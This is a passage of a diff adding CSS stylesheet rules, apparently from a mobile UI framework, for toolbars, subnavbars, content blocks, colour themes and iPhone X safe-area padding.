+} +.md .navbar + .toolbar-hidden.tabbar-labels:not(.toolbar-bottom-md) { + -webkit-transform: translate3d(0, -128px, 0); + transform: translate3d(0, -128px, 0); +} +.md .navbar.navbar-hidden + .toolbar:not(.toolbar-bottom-md):not(.messagebar):not(.toolbar-hidden) { + -webkit-transform: translate3d(0, -56px, 0); + transform: translate3d(0, -56px, 0); +} +@media (min-width: 768px) { + .md .navbar + .toolbar:not(.toolbar-bottom-md):not(.messagebar) { + top: 64px; + } + .md .navbar + .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ * .page-content, + .md .navbar + .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ .page-content { + padding-top: 112px; + } + .md .navbar + .toolbar.tabbar-labels:not(.toolbar-bottom-md) ~ * .page-content, + .md .navbar + .toolbar.tabbar-labels:not(.toolbar-bottom-md) ~ .page-content { + padding-top: 136px; + } + .md .navbar.navbar-hidden + .toolbar:not(.toolbar-bottom-md):not(.messagebar):not(.toolbar-hidden) { + -webkit-transform: translate3d(0, -64px, 0); + transform: translate3d(0, -64px, 0); + } + .md .navbar + .toolbar-hidden:not(.toolbar-bottom-md):not(.messagebar) { + -webkit-transform: translate3d(0, -112px, 0); + transform: translate3d(0, -112px, 0); + } + .md .navbar + .toolbar-hidden.tabbar-labels:not(.toolbar-bottom-md):not(.messagebar) { + -webkit-transform: translate3d(0, -136px, 0); + transform: translate3d(0, -136px, 0); + } +} +.md .toolbar-bottom-md ~ * .page-content, +.md .toolbar-bottom-md ~ .page-content, +.md .messagebar ~ * .page-content, +.md .messagebar ~ .page-content { + padding-bottom: 48px; +} +.md .toolbar-bottom-md.tabbar-labels ~ * .page-content, +.md .toolbar-bottom-md.tabbar-labels ~ .page-content { + padding-bottom: 56px; +} +.md .toolbar-transitioning, +.md .navbar-transitioning + .toolbar { + -webkit-transition-duration: 400ms; + transition-duration: 400ms; +} +.md .color-theme-red .toolbar:not(.messagebar), +.md .color-theme-red.toolbar:not(.messagebar) { + background: #f44336; +} +.md .color-theme-green .toolbar:not(.messagebar), +.md .color-theme-green.toolbar:not(.messagebar) { + background: #4caf50; +} +.md .color-theme-blue .toolbar:not(.messagebar), +.md .color-theme-blue.toolbar:not(.messagebar) { + background: #2196f3; +} +.md .color-theme-pink .toolbar:not(.messagebar), +.md .color-theme-pink.toolbar:not(.messagebar) { + background: #e91e63; +} +.md .color-theme-yellow .toolbar:not(.messagebar), +.md .color-theme-yellow.toolbar:not(.messagebar) { + background: #ffeb3b; +} +.md .color-theme-orange .toolbar:not(.messagebar), +.md .color-theme-orange.toolbar:not(.messagebar) { + background: #ff9800; +} +.md .color-theme-gray .toolbar:not(.messagebar), +.md .color-theme-gray.toolbar:not(.messagebar) { + background: #9e9e9e; +} +.md .color-theme-white .toolbar:not(.messagebar), +.md .color-theme-white.toolbar:not(.messagebar) { + background: #ffffff; +} +.md .color-theme-black .toolbar:not(.messagebar), +.md .color-theme-black.toolbar:not(.messagebar) { + background: #000000; +} +.md .toolbar:not(.messagebar).color-red { + background: #f44336; +} +.md .toolbar:not(.messagebar).color-green { + background: #4caf50; +} +.md .toolbar:not(.messagebar).color-blue { + background: #2196f3; +} +.md .toolbar:not(.messagebar).color-pink { + background: #e91e63; +} +.md .toolbar:not(.messagebar).color-yellow { + background: #ffeb3b; +} +.md .toolbar:not(.messagebar).color-orange { + background: #ff9800; +} +.md .toolbar:not(.messagebar).color-gray { + background: #9e9e9e; +} +.md .toolbar:not(.messagebar).color-white { + background: #ffffff; +} +.md .toolbar:not(.messagebar).color-black { + background: #000000; +} +.md.device-iphone-x .views > .toolbar:first-child:not(.toolbar-bottom-md), +.md.device-iphone-x .view > .toolbar:first-child:not(.toolbar-bottom-md), +.md.device-iphone-x .page > .toolbar:first-child:not(.toolbar-bottom-md), +.md.device-iphone-x .popup > .toolbar:first-child:not(.toolbar-bottom-md), +.md.device-iphone-x .panel > .toolbar:first-child:not(.toolbar-bottom-md), +.md.device-iphone-x .login-screen > .toolbar:first-child:not(.toolbar-bottom-md) { + height: calc(48px + constant(safe-area-inset-top)); + height: calc(48px + env(safe-area-inset-top)); +} +.md.device-iphone-x .views > .toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner, +.md.device-iphone-x .view > .toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner, +.md.device-iphone-x .page > .toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner, +.md.device-iphone-x .popup > .toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner, +.md.device-iphone-x .panel > .toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner, +.md.device-iphone-x .login-screen > .toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner { + height: auto; +} +.md.device-iphone-x .views > .toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner, +.md.device-iphone-x .view > .toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner, +.md.device-iphone-x .page > .toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner, +.md.device-iphone-x .popup > .toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner, +.md.device-iphone-x .panel > .toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner, +.md.device-iphone-x .login-screen > .toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner { + bottom: 0; + top: constant(safe-area-inset-top); + top: env(safe-area-inset-top); +} +.md.device-iphone-x .views > .toolbar:first-child:not(.toolbar-bottom-md).tabbar-labels, +.md.device-iphone-x .view > .toolbar:first-child:not(.toolbar-bottom-md).tabbar-labels, +.md.device-iphone-x .page > .toolbar:first-child:not(.toolbar-bottom-md).tabbar-labels, +.md.device-iphone-x .popup > .toolbar:first-child:not(.toolbar-bottom-md).tabbar-labels, +.md.device-iphone-x .panel > .toolbar:first-child:not(.toolbar-bottom-md).tabbar-labels, +.md.device-iphone-x .login-screen > .toolbar:first-child:not(.toolbar-bottom-md).tabbar-labels { + height: calc(72px + constant(safe-area-inset-top)); + height: calc(72px + env(safe-area-inset-top)); +} +.md.device-iphone-x .views > .toolbar-bottom-md, +.md.device-iphone-x .view > .toolbar-bottom-md, +.md.device-iphone-x .page > .toolbar-bottom-md, +.md.device-iphone-x .popup > .toolbar-bottom-md, +.md.device-iphone-x .panel > .toolbar-bottom-md, +.md.device-iphone-x .login-screen > .toolbar-bottom-md { + height: calc(48px + constant(safe-area-inset-bottom)); + height: calc(48px + env(safe-area-inset-bottom)); +} +.md.device-iphone-x .views > .toolbar-bottom-md .toolbar-inner, +.md.device-iphone-x .view > .toolbar-bottom-md .toolbar-inner, +.md.device-iphone-x .page > .toolbar-bottom-md .toolbar-inner, +.md.device-iphone-x .popup > .toolbar-bottom-md .toolbar-inner, +.md.device-iphone-x .panel > .toolbar-bottom-md .toolbar-inner, +.md.device-iphone-x .login-screen > .toolbar-bottom-md .toolbar-inner { + height: auto; + top: 0; + bottom: constant(safe-area-inset-bottom); + bottom: env(safe-area-inset-bottom); +} +.md.device-iphone-x .views > .toolbar-bottom-md.tabbar-labels, +.md.device-iphone-x .view > .toolbar-bottom-md.tabbar-labels, +.md.device-iphone-x .page > .toolbar-bottom-md.tabbar-labels, +.md.device-iphone-x .popup > .toolbar-bottom-md.tabbar-labels, +.md.device-iphone-x .panel > .toolbar-bottom-md.tabbar-labels, +.md.device-iphone-x .login-screen > .toolbar-bottom-md.tabbar-labels { + height: calc(56px + constant(safe-area-inset-bottom)); + height: calc(56px + env(safe-area-inset-bottom)); +} +.md.device-iphone-x .toolbar-bottom-md ~ * .page-content, +.md.device-iphone-x .toolbar-bottom-md ~ .page-content, +.md.device-iphone-x .messagebar ~ * .page-content, +.md.device-iphone-x .messagebar ~ .page-content { + padding-bottom: calc(48px + constant(safe-area-inset-bottom)); + padding-bottom: calc(48px + env(safe-area-inset-bottom)); +} +.md.device-iphone-x .toolbar-bottom-md.tabbar-labels ~ * .page-content, +.md.device-iphone-x .toolbar-bottom-md.tabbar-labels ~ .page-content { + padding-bottom: calc(56px + constant(safe-area-inset-bottom)); + padding-bottom: calc(56px + env(safe-area-inset-bottom)); +} +@media (orientation: landscape) { + .md.device-iphone-x .ios-left-edge .toolbar-inner, + .md.device-iphone-x .ios-edges .toolbar-inner, + .md.device-iphone-x .popup .toolbar-inner, + .md.device-iphone-x .sheet-modal .toolbar-inner, + .md.device-iphone-x .panel-left .toolbar-inner { + padding-left: constant(safe-area-inset-left); + padding-left: env(safe-area-inset-left); + } + .md.device-iphone-x .ios-right-edge .toolbar-inner, + .md.device-iphone-x .ios-edges .toolbar-inner, + .md.device-iphone-x .popup .toolbar-inner, + .md.device-iphone-x .sheet-modal .toolbar-inner, + .md.device-iphone-x .panel-right .toolbar-inner { + padding-right: constant(safe-area-inset-right); + padding-right: env(safe-area-inset-right); + } +} +/* === Subnavbar === */ +.subnavbar { + width: 100%; + position: absolute; + left: 0; + top: 0; + z-index: 500; + -webkit-box-sizing: border-box; + box-sizing: border-box; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; +} +.subnavbar .title { + position: relative; + overflow: hidden; + text-overflow: ellpsis; + white-space: nowrap; +} +.subnavbar .left, +.subnavbar .right { + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: start; + -webkit-justify-content: flex-start; + -ms-flex-pack: start; + justify-content: flex-start; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; +} +.subnavbar .right:first-child { + position: absolute; + height: 100%; +} +.subnavbar-inner { + width: 100%; + height: 100%; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + overflow: hidden; +} +.subnavbar-inner.stacked { + display: none; +} +.navbar .subnavbar { + top: 100%; +} +.views > .navbar, +.view > .navbar, +.page > .navbar { + position: absolute; +} +.ios .subnavbar { + height: 45px; + margin-top: -1px; + padding-top: 1px; + background: #f7f7f8; +} +.ios .subnavbar.no-hairline:after { + display: none !important; +} +.ios .subnavbar .title { + font-weight: 700; + line-height: 1; + overflow: visible; + font-size: 34px; + text-align: center; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-align-self: flex-start; + -ms-flex-item-align: start; + align-self: flex-start; + -webkit-flex-shrink: 10; + -ms-flex-negative: 10; + flex-shrink: 10; + letter-spacing: -0.03em; +} +.ios .subnavbar .title { + margin-right: 7px; +} +.ios .subnavbar .left a + a, +.ios .subnavbar .right a + a { + margin-right: 15px; +} +.ios .subnavbar .left { + margin-left: 10px; +} +.ios .subnavbar .right { + margin-right: 10px; +} +.ios .subnavbar .right:first-child { + left: 8px; +} +.ios .subnavbar a.link { + line-height: 44px; + height: 44px; + -webkit-box-pack: start; + -webkit-justify-content: flex-start; + -ms-flex-pack: start; + justify-content: flex-start; +} +.ios .subnavbar a.icon-only { + min-width: 44px; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + margin: 0; +} +.ios .subnavbar:after { + content: ''; + position: absolute; + background-color: #c4c4c4; + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.ios.device-pixel-ratio-2 .subnavbar:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .subnavbar:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .subnavbar-inner { + padding: 0 8px; +} +.ios .navbar ~ .page-with-subnavbar:not(.no-navbar) .subnavbar, +.ios .navbar ~ .subnavbar { + top: 44px; +} +.ios .page-with-subnavbar .page-content, +.ios .subnavbar ~ .page-content, +.ios .subnavbar ~ * .page-content { + padding-top: 44px; +} +.ios .navbar ~ .page-with-subnavbar:not(.no-navbar) .page-content, +.ios .page-with-subnavbar .navbar ~ .page-content, +.ios .navbar ~ *:not(.no-navbar) .subnavbar ~ .page-content, +.ios .navbar ~ *:not(.no-navbar) .subnavbar ~ * .page-content { + padding-top: 88px; +} +.ios .theme-dark .subnavbar, +.subnavbar.ios .theme-dark { + background: #1b1b1b; +} +.ios .theme-dark .subnavbar:after, +.subnavbar.ios .theme-dark:after { + background-color: #282829; +} +@media (orientation: landscape) { + .ios.device-iphone-x .ios-left-edge .subnavbar-inner, + .ios.device-iphone-x .ios-edges .subnavbar-inner, + .ios.device-iphone-x .popup .subnavbar-inner, + .ios.device-iphone-x .sheet-modal .subnavbar-inner, + .ios.device-iphone-x .panel-left .subnavbar-inner { + padding-left: calc(8px + constant(safe-area-inset-left)); + padding-left: calc(8px + env(safe-area-inset-left)); + } + .ios.device-iphone-x .ios-right-edge .subnavbar-inner, + .ios.device-iphone-x .ios-edges .subnavbar-inner, + .ios.device-iphone-x .popup .subnavbar-inner, + .ios.device-iphone-x .sheet-modal .subnavbar-inner, + .ios.device-iphone-x .panel-right .subnavbar-inner { + padding-right: calc(8px + constant(safe-area-inset-right)); + padding-right: calc(8px + env(safe-area-inset-right)); + } +} +.md .subnavbar { + height: 48px; + background: #2196f3; + color: #fff; +} +.md .subnavbar:after { + content: ''; + position: absolute; + right: 0; + width: 100%; + top: 100%; + bottom: auto; + height: 10px; + pointer-events: none; + background: -webkit-gradient(linear, left top, left bottom, from(rgba(0, 0, 0, 0.3)), color-stop(40%, rgba(0, 0, 0, 0.1)), color-stop(50%, rgba(0, 0, 0, 0.05)), color-stop(80%, rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0))); + background: -webkit-linear-gradient(top, rgba(0, 0, 0, 0.3) 0%, rgba(0, 0, 0, 0.1) 40%, rgba(0, 0, 0, 0.05) 50%, rgba(0, 0, 0, 0) 80%, rgba(0, 0, 0, 0) 100%); + background: linear-gradient(to bottom, rgba(0, 0, 0, 0.3) 0%, rgba(0, 0, 0, 0.1) 40%, rgba(0, 0, 0, 0.05) 50%, rgba(0, 0, 0, 0) 80%, rgba(0, 0, 0, 0) 100%); +} +.md .subnavbar.no-shadow:after { + display: none; +} +.md .subnavbar .title { + margin: 0 16px; + font-size: 20px; + line-height: 48px; + display: inline-block; + text-align: left; + font-weight: 500; +} +.md .subnavbar .title:first-child { + margin-right: 56px; +} +.md .subnavbar .right { + margin-right: auto; +} +.md .subnavbar .right:first-child { + left: 16px; +} +.md .subnavbar a { + color: inherit; +} +.md .subnavbar a.link { + line-height: 48px; + height: 48px; + min-width: 48px; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + padding: 0 16px; +} +.md .subnavbar a.link:before { + content: ''; + width: 152%; + height: 152%; + position: absolute; + left: -26%; + top: -26%; + background-image: -webkit-radial-gradient(center, circle, rgba(255, 255, 255, 0.15) 66%, rgba(255, 255, 255, 0) 66%); + background-image: radial-gradient(circle at center, rgba(255, 255, 255, 0.15) 66%, rgba(255, 255, 255, 0) 66%); + background-repeat: no-repeat; + background-position: center; + background-size: 100% 100%; + opacity: 0; + pointer-events: none; + -webkit-transition-duration: 600ms; + transition-duration: 600ms; +} +.md .subnavbar a.link.active-state:before { + opacity: 1; + -webkit-transition-duration: 150ms; + transition-duration: 150ms; +} +.md .subnavbar a.icon-only { + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + min-width: 0; +} +.md .subnavbar-inner { + padding: 0 16px; +} +.md .subnavbar-inner > a.link:first-child { + margin-right: -16px; +} +.md .subnavbar-inner > a.link:last-child { + margin-left: -16px; +} +.md .subnavbar ~ * .page-content, +.md .subnavbar ~ .page-content, +.md .page-with-subnavbar .page-content { + padding-top: 48px; +} +.md .navbar ~ .subnavbar ~ .page-content, +.md .navbar ~ .subnavbar ~ * .page-content, +.md .page-with-subnavbar .navbar ~ * .page-content, +.md .page-with-subnavbar .navbar ~ .page-content { + padding-top: 104px; +} +@media (min-width: 768px) { + .md .navbar ~ .subnavbar ~ .page-content, + .md .navbar ~ .subnavbar ~ * .page-content, + .md .page-with-subnavbar .navbar ~ * .page-content, + .md .page-with-subnavbar .navbar ~ .page-content { + padding-top: 112px; + } +} +.md .navbar ~ .subnavbar, +.md .navbar ~ * .subnavbar, +.md .page-with-subnavbar .navbar ~ .subnavbar, +.md .page-with-subnavbar .navbar ~ * .subnavbar { + top: 56px; +} +@media (min-width: 768px) { + .md .navbar ~ .subnavbar, + .md .navbar ~ * .subnavbar, + .md .page-with-subnavbar .navbar ~ .subnavbar, + .md .page-with-subnavbar .navbar ~ * .subnavbar { + top: 64px; + } +} +.md .color-theme-red .subnavbar, +.md .color-theme-red.subnavbar { + background: #f44336; +} +.md .color-theme-green .subnavbar, +.md .color-theme-green.subnavbar { + background: #4caf50; +} +.md .color-theme-blue .subnavbar, +.md .color-theme-blue.subnavbar { + background: #2196f3; +} +.md .color-theme-pink .subnavbar, +.md .color-theme-pink.subnavbar { + background: #e91e63; +} +.md .color-theme-yellow .subnavbar, +.md .color-theme-yellow.subnavbar { + background: #ffeb3b; +} +.md .color-theme-orange .subnavbar, +.md .color-theme-orange.subnavbar { + background: #ff9800; +} +.md .color-theme-gray .subnavbar, +.md .color-theme-gray.subnavbar { + background: #9e9e9e; +} +.md .color-theme-white .subnavbar, +.md .color-theme-white.subnavbar { + background: #ffffff; +} +.md .color-theme-black .subnavbar, +.md .color-theme-black.subnavbar { + background: #000000; +} +.md .subnavbar.color-red { + background: #f44336; +} +.md .subnavbar.color-green { + background: #4caf50; +} +.md .subnavbar.color-blue { + background: #2196f3; +} +.md .subnavbar.color-pink { + background: #e91e63; +} +.md .subnavbar.color-yellow { + background: #ffeb3b; +} +.md .subnavbar.color-orange { + background: #ff9800; +} +.md .subnavbar.color-gray { + background: #9e9e9e; +} +.md .subnavbar.color-white { + background: #ffffff; +} +.md .subnavbar.color-black { + background: #000000; +} +@media (orientation: landscape) { + .md.device-iphone-x .ios-left-edge .subnavbar-inner, + .md.device-iphone-x .ios-edges .subnavbar-inner, + .md.device-iphone-x .popup .subnavbar-inner, + .md.device-iphone-x .sheet-modal .subnavbar-inner, + .md.device-iphone-x .panel-left .subnavbar-inner { + padding-left: calc(16px + constant(safe-area-inset-left)); + padding-left: calc(16px + env(safe-area-inset-left)); + } + .md.device-iphone-x .ios-right-edge .subnavbar-inner, + .md.device-iphone-x .ios-edges .subnavbar-inner, + .md.device-iphone-x .popup .subnavbar-inner, + .md.device-iphone-x .sheet-modal .subnavbar-inner, + .md.device-iphone-x .panel-right .subnavbar-inner { + padding-right: calc(16px + constant(safe-area-inset-right)); + padding-right: calc(16px + env(safe-area-inset-right)); + } +} +/* === Content Block === */ +.block { + -webkit-box-sizing: border-box; + box-sizing: border-box; + position: relative; + z-index: 1; +} +.block.no-hairlines:before, +.block.no-hairlines ul:before, +.md .block.no-hairlines-md:before, +.md .block.no-hairlines-md ul:before, +.ios .block.no-hairlines-ios:before, +.ios .block.no-hairlines-ios ul:before { + display: none !important; +} +.block.no-hairlines:after, +.block.no-hairlines ul:after, +.md .block.no-hairlines-md:after, +.md .block.no-hairlines-md ul:after, +.ios .block.no-hairlines-ios:after, +.ios .block.no-hairlines-ios ul:after { + display: none !important; +} +.block.no-hairline-top:before, +.block.no-hairline-top ul:before, +.md .block.no-hairline-top-md:before, +.md .block.no-hairline-top-md ul:before, +.ios .block.no-hairline-top-ios:before, +.ios .block.no-hairline-top-ios ul:before { + display: none !important; +} +.block.no-hairline-bottom:after, +.block.no-hairline-bottom ul:after, +.md .block.no-hairline-bottom-md:after, +.md .block.no-hairline-bottom-md ul:after, +.ios .block.no-hairline-bottom-ios:after, +.ios .block.no-hairline-bottom-ios ul:after { + display: none !important; +} +.block > h1:first-child, +.block > h2:first-child, +.block > h3:first-child, +.block > h4:first-child, +.block > p:first-child { + margin-top: 0; +} +.block > h1:last-child, +.block > h2:last-child, +.block > h3:last-child, +.block > h4:last-child, +.block > p:last-child { + margin-bottom: 0; +} +.block-title { + position: relative; + overflow: hidden; + margin: 0; + white-space: nowrap; + text-overflow: ellipsis; + font-size: 14px; + line-height: 1; +} +.block-strong.inset { + border-radius: 7px; +} +.block-strong.inset:before { + display: none !important; +} +.block-strong.inset:after { + display: none !important; +} +.block-footer, +.block-header { + font-size: 14px; +} +.block-footer ul:first-child, +.block-header ul:first-child, +.block-footer p:first-child, +.block-header p:first-child, +.block-footer h1:first-child, +.block-header h1:first-child, +.block-footer h2:first-child, +.block-header h2:first-child, +.block-footer h3:first-child, +.block-header h3:first-child, +.block-footer h4:first-child, +.block-header h4:first-child { + margin-top: 0; +} +.block-footer ul:last-child, +.block-header ul:last-child, +.block-footer p:last-child, +.block-header p:last-child, +.block-footer h1:last-child, +.block-header h1:last-child, +.block-footer h2:last-child, +.block-header h2:last-child, +.block-footer h3:last-child, +.block-header h3:last-child, +.block-footer h4:last-child, +.block-header h4:last-child { + margin-bottom: 0; +} +.block-footer ul:first-child:last-child, +.block-header ul:first-child:last-child, +.block-footer p:first-child:last-child, +.block-header p:first-child:last-child, +.block-footer h1:first-child:last-child, +.block-header h1:first-child:last-child, +.block-footer h2:first-child:last-child, +.block-header h2:first-child:last-child, +.block-footer h3:first-child:last-child, +.block-header h3:first-child:last-child, +.block-footer h4:first-child:last-child, +.block-header h4:first-child:last-child { + margin-top: 0; + margin-bottom: 0; +} +.block-header { + margin-bottom: 10px; +} +.block-footer { + margin-top: 10px; +} +@media (min-width: 768px) { + .block-strong.tablet-inset:before { + display: none !important; + } + .block-strong.tablet-inset:after { + display: none !important; + } +} +/* === Content Block === */ +.ios .block { + margin: 35px 0; + padding: 0 15px; + color: #6d6d72; +} +.ios .block-title { + text-transform: uppercase; + color: #6d6d72; + margin: 35px 15px 10px; + line-height: 17px; +} +.ios .block-title + .list, +.ios .block-title + .block, +.ios .block-title + .card, +.ios .block-title + .timeline, +.ios .block-title + .block-header { + margin-top: 10px; +} +.ios .block-strong { + color: #000; + background: #fff; + padding: 15px 15px; +} +.ios .block-strong:before { + content: ''; + position: absolute; + background-color: #c8c7cc; + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.ios.device-pixel-ratio-2 .block-strong:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .block-strong:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .block-strong:after { + content: ''; + position: absolute; + background-color: #c8c7cc; + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.ios.device-pixel-ratio-2 .block-strong:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .block-strong:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .block.inset { + margin-left: 15px; + margin-right: 15px; +} +.ios .block-strong-inset { + border-radius: 7px; +} +.ios .block-header, +.ios .block-footer { + padding: 0 15px; + color: #8f8f94; +} +.ios .block .block-header, +.ios .block .block-footer { + padding: 0 !important; +} +.ios .block-header { + margin-top: 35px; +} +.ios .block-header + .list, +.ios .block-header + .block, +.ios .block-header + .card, +.ios .block-header + .timeline { + margin-top: 10px; +} +.ios .block-footer { + margin-bottom: 35px; +} +.ios .list .block-header, +.ios .block .block-header, +.ios .card .block-header, +.ios .timeline .block-header { + margin-top: 0; +} +.ios .list .block-footer, +.ios .block .block-footer, +.ios .card .block-footer, +.ios .timeline .block-footer { + margin-bottom: 0; +} +.ios .list + .block-footer, +.ios .block + .block-footer, +.ios .card + .block-footer, +.ios .timeline + .block-footer { + margin-top: -25px; +} +.ios .block + .block-footer { + margin-top: -25px; + margin-bottom: 35px; +} +@media (min-width: 768px) { + .ios .block.tablet-inset { + margin-left: 15px; + margin-right: 15px; + border-radius: 7px; + } + .ios .block-strong.tablet-inset { + border-radius: 7px; + } +} +.ios .theme-dark .block-title, +.ios .theme-dark .block-header, +.ios .theme-dark .block-footer { + color: #8E8E93; +} +.ios .theme-dark .block { + color: #8E8E93; +} +.ios .theme-dark .block-strong, +.ios .theme-dark.block-strong { + background-color: #1c1c1d; + color: #fff; +} +.ios .theme-dark .block-strong:before, +.ios .theme-dark.block-strong:before { + background-color: #282829; +} +.ios .theme-dark .block-strong:after, +.ios .theme-dark.block-strong:after { + background-color: #282829; +} +@media (orientation: landscape) { + .ios.device-iphone-x .ios-left-edge .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .ios-edges .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .popup .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .sheet-modal .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .panel-left .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .ios-left-edge .block-header, + .ios.device-iphone-x .ios-edges .block-header, + .ios.device-iphone-x .popup .block-header, + .ios.device-iphone-x .sheet-modal .block-header, + .ios.device-iphone-x .panel-left .block-header, + .ios.device-iphone-x .ios-left-edge .block-footer, + .ios.device-iphone-x .ios-edges .block-footer, + .ios.device-iphone-x .popup .block-footer, + .ios.device-iphone-x .sheet-modal .block-footer, + .ios.device-iphone-x .panel-left .block-footer { + padding-left: calc(15px + constant(safe-area-inset-left)); + padding-left: calc(15px + env(safe-area-inset-left)); + } + .ios.device-iphone-x .ios-left-edge .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .ios.device-iphone-x .ios-edges .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .ios.device-iphone-x .popup .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .ios.device-iphone-x .sheet-modal .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .ios.device-iphone-x .panel-left .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .ios.device-iphone-x .ios-left-edge .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .ios.device-iphone-x .ios-edges .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .ios.device-iphone-x .popup .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .ios.device-iphone-x .sheet-modal .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .ios.device-iphone-x .panel-left .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer { + padding-left: 0; + } + .ios.device-iphone-x .ios-left-edge .block.inset:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .ios-edges .block.inset:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .popup .block.inset:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .sheet-modal .block.inset:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .panel-left .block.inset:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .ios-left-edge .block-title:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .ios-edges .block-title:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .popup .block-title:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .sheet-modal .block-title:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .panel-left .block-title:not(.no-ios-edges):not(.no-ios-left-edge) { + margin-left: calc(15px + constant(safe-area-inset-left)); + margin-left: calc(15px + env(safe-area-inset-left)); + } + .ios.device-iphone-x .ios-right-edge .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .ios-edges .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .popup .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .sheet-modal .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .panel-right .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .ios-right-edge .block-header, + .ios.device-iphone-x .ios-edges .block-header, + .ios.device-iphone-x .popup .block-header, + .ios.device-iphone-x .sheet-modal .block-header, + .ios.device-iphone-x .panel-right .block-header, + .ios.device-iphone-x .ios-right-edge .block-footer, + .ios.device-iphone-x .ios-edges .block-footer, + .ios.device-iphone-x .popup .block-footer, + .ios.device-iphone-x .sheet-modal .block-footer, + .ios.device-iphone-x .panel-right .block-footer { + padding-right: calc(15px + constant(safe-area-inset-right)); + padding-right: calc(15px + env(safe-area-inset-right)); + } + .ios.device-iphone-x .ios-right-edge .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .ios.device-iphone-x .ios-edges .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .ios.device-iphone-x .popup .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + 